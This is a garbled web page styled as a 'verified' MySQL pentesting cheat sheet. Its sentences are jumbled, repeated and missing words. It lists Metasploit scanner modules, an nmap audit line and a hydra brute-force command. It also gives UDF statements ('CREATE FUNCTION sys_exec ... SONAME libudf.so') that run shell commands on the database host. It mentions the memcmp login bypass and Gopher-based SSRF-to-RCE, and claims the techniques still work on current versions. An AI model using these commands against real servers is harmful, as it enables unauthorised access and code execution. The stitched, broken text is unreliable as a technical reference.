__exclusive__ — Mysql Hacktricks Verified

✅ : This technique still works across MySQL 5.7, 8.0, 8.4, and 9.x when the secure_file_priv variable is empty and the MySQL user has FILE privilege. Newer UDF exploit repositories (2025‑2026) provide pre‑compiled libraries for both x86 and x86_64 architectures, as well as automatic payload generation.

auxiliary/scanner/mysql/mysql_writable_dirs 2. Authentication Bypass and Brute Forcing

If the database user has sufficient privileges (e.g., FILE privilege), further system-level access is possible.

Enumeration of tables and schemas (if information_schema is accessible): mysql hacktricks verified

The vulnerability arises from a memcmp() comparison issue—by repeatedly trying to log in with the correct username and any password, an attacker will eventually succeed. Metasploit modules exist to automate the process.

CREATE FUNCTION sys_exec RETURNS INT SONAME 'libudf.so'; SELECT sys_exec('id > /tmp/id');

: Attackers can chain a UNION‑based injection to extract sensitive files: ✅ : This technique still works across MySQL 5

Metasploit offers several verified auxiliary modules to map out the target without authentication: auxiliary/scanner/mysql/mysql_version

If blank passwords fail, use Metasploit or Hydra to audit credential strength against a known wordlist: hydra -L users.txt -P passwords.txt mysql Use code with caution. Using Metasploit's auxiliary module:

Tools like automate generating the raw packets. This technique is widely used in CTF challenges and real SSRF‑to‑RCE chains. The Gopher protocol allows attackers to interact with any TCP service without a traditional network client. Authentication Bypass and Brute Forcing If the database

: Once connected, use built-in commands to map the database structure: show databases; use ; show tables; describe ; . 2. Verified MySQL Injection Techniques

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so'; Use code with caution.

: Automating the identification of the MySQL service (default port 3306) and running audit scripts. nmap -sV -p 3306 --script mysql-audit .